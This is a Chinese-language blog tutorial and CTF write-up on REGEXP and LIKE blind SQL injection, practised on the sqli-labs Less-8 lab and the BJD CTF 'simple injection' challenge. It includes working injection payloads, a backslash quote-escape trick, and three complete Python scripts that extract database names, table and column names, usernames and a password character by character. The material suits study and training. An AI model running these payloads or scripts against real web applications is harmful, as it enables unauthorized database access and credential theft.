2

REGEXP注入与LIKE注入简单学习

 7 months ago
source link: https://qwzf.github.io/2020/07/23/REGEXP%E6%B3%A8%E5%85%A5%E4%B8%8ELIKE%E6%B3%A8%E5%85%A5%E7%AE%80%E5%8D%95%E5%AD%A6%E4%B9%A0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

首发于先知社区

0x00 前言

之前已经学过SQL盲注了,也见过盲注中REGEXP注入,但没详细了解过。正好这次BJD遇到了这个,简单总结,并把题目复现一下。

0x01 REGEXP注入分析

注入原理
REGEXP注入,即regexp正则表达式注入。REGEXP注入,又叫盲注值正则表达式攻击。
应用场景就是盲注,原理是直接查询自己需要的数据,然后通过正则表达式进行匹配。

1、基本注入

select (select语句) regexp '正则'
sql复制代码

正常的查询语句:

select username from users where id=1;
sql复制代码

(1)正则注入,若匹配则返回1,不匹配返回0

select (select username from users where id=1) regexp '^a';
sql复制代码
在这里插入图片描述
在这里插入图片描述
^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0
(2)regexp关键字还可以代替where条件里的=号
select * from users where password regexp '^ad';
sql复制代码
在这里插入图片描述
在这里插入图片描述
使用场景:

过滤了=、in、like

^若被过滤,可使用$来从后往前进行匹配

常用regexp正则语句:

regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r'      #判断第一个字符串是否为r
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
sql复制代码

(3)在联合查询中的使用

1 union select 1,database() regexp '^s',3--+
sql复制代码
在这里插入图片描述
在这里插入图片描述

2、REGEXP盲注

在sqli-labs靶场Less-8关进行测试
1.判断数据库长度

' or (length(database())=8)--+ 正常
sql复制代码

2.判断数据库名

' or database() regexp '^s'--+ 正常
' or database() regexp 'y$'--+ 正常
sql复制代码

表名、字段名、数据内容参考以前总结。
很明显和普通的布尔盲注差不多,于是写个脚本:

import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() regexp '^{}'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^{}'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) regexp '^{}'--+"
data1 = "' or (select username from users limit 0,1) regexp '^{}'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break
py python复制代码

0x02 LIKE注入分析

like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。

1、基本注入

1.like 's%'判断第一个字符是否为s

1 union select 1,database() like 's%',3 --+
sql复制代码

2.like 'se%'判断前面两个字符串是否为se

1 union select 1,database() like 'se%',3 --+
sql复制代码

3.like '%sq%' 判断是否包含se两个字符串

1 union select 1,database() like '%se%',3 --+
sql复制代码

4.like '_____'判断是否为5个字符

1 union select 1,database() like '_____',3 --+
sql复制代码

5.like 's____' 判断第一个字符是否为s

1 union select 1,database() like 's____',3 --+
sql复制代码

2、LIKE盲注

依旧在sqli-labs靶场Less-8关进行测试
1.判断数据库长度
可用length()函数,也可用_,如:

' or database() like '________'--+
sql复制代码

2.判断数据库名

' or database() like 's%'--+
也可用
' or database() like 's_______'--+
sql复制代码
在这里插入图片描述
在这里插入图片描述
说明数据库名的第一个字符是s。数据表、字段、数据类似
我又把REGEXP盲注脚本改一下,于是成了LIKE盲注脚本:
import requests
import string

strs = string.printable
url = "http://x.x.x.x:8001/Less-8/index.php?id="

database1 = "' or database() like '{}%'--+"
table1 = "' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) like '{}%'--+"
cloumn1 = "' or (select column_name from information_schema.columns where table_name=\"users\" and table_schema=database() limit 1,1) like '{}%'--+"
data1 = "' or (select username from users limit 0,1) like '{}%'--+"

payload = database1
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        char = ''
        for j in strs:
            payloads = payload.format(name+j)
            urls = url+payloads
            r = requests.get(urls)
            if "You are in" in r.text:
                name += j
                print(j,end='')
                char = j
                break
        if char =='#':
            break
python复制代码
在这里插入图片描述
在这里插入图片描述
爆出数据库名security

0x03 REGEXP注入实战

学完REGEXP注入和LIKE注入后,是时候把BJD的简单注入那道题复现一下了。BJD CTF的简单注入主要涉及的是REGEXP盲注。开始复现:
先fuzz一波,发现:

单引号 双引号都被ban了
union和select都被ban了
=和like被ban了

似乎没得思路了,看下wp,发现SQL语句逃逸单引号,于是了解一下这个方法。
SQL语句逃逸单引号
主要是通过反斜线\,将单引号转义,从而实现了SQL语句逃逸,造成SQL注入。
意思就是:
假设sql语句为:

select username,password from users where username='$user' and password='$pwd'
sql复制代码

假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了

select username,password from users where username='admin\' and password=' or 1#'
sql复制代码

由于单引号被转义,and password=这部分都成了username的一部分,即

username='admin\' and password='
sql复制代码

这样or 1就逃逸出来了,由此可控,可作为注入点。

而fuzz结果,确实发现反斜线没有被ban掉。

在这里插入图片描述
在这里插入图片描述
于是就可以注入了
在这里插入图片描述
在这里插入图片描述
然后发现这个地方会有变化。大师傅的wp上说用这个注不出登录密码,可以用REGEXP进行注入,并且还说要加上binary关键字区分大小写。好了,先不看大师傅的脚本,自己把上边的脚本改一下,试试。
试过后发现跑不出来。。。。看下wp,发现要转换16进制(16进制在数据库执行查询时又默认转换成字符串),好吧。再改写下,最终成品如下:
import requests
import string

def str2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result

strs = string.ascii_letters+string.digits
url = "http://3fb55301-c0be-4134-830b-fda52f321221.node3.buuoj.cn/"
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = 'or password regexp binary {}#'
if __name__ == "__main__":
    name = ''
    for i in range(1,40):
        for j in strs:
            passwd = str2hex('^'+name+j)
            payloads = payload.format(passwd)
            postdata={
                'username':'admin\\',
                'password':payloads
            }
            r = requests.post(url,data=postdata,headers=headers)
            if "BJD need" in r.text:
                name += j
                print(j,end='')
                break
python复制代码

跑出了用户密码

在这里插入图片描述
在这里插入图片描述
登录即可得到flag。。。复现完毕。

0x04 后记

学习了REGEXP注入LIKE注入,了解了SQL语句逃逸单引号以及16进制在数据库执行
继续努力!!

参考博客:
从CTF题中学习几种有趣(奇怪)的SQL注入
CTF中几种通用的sql盲注手法和注入的一些tips
sql注入之盲注攻击
第二届BJDCTF 2020 全部WEB题目 Writeup


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK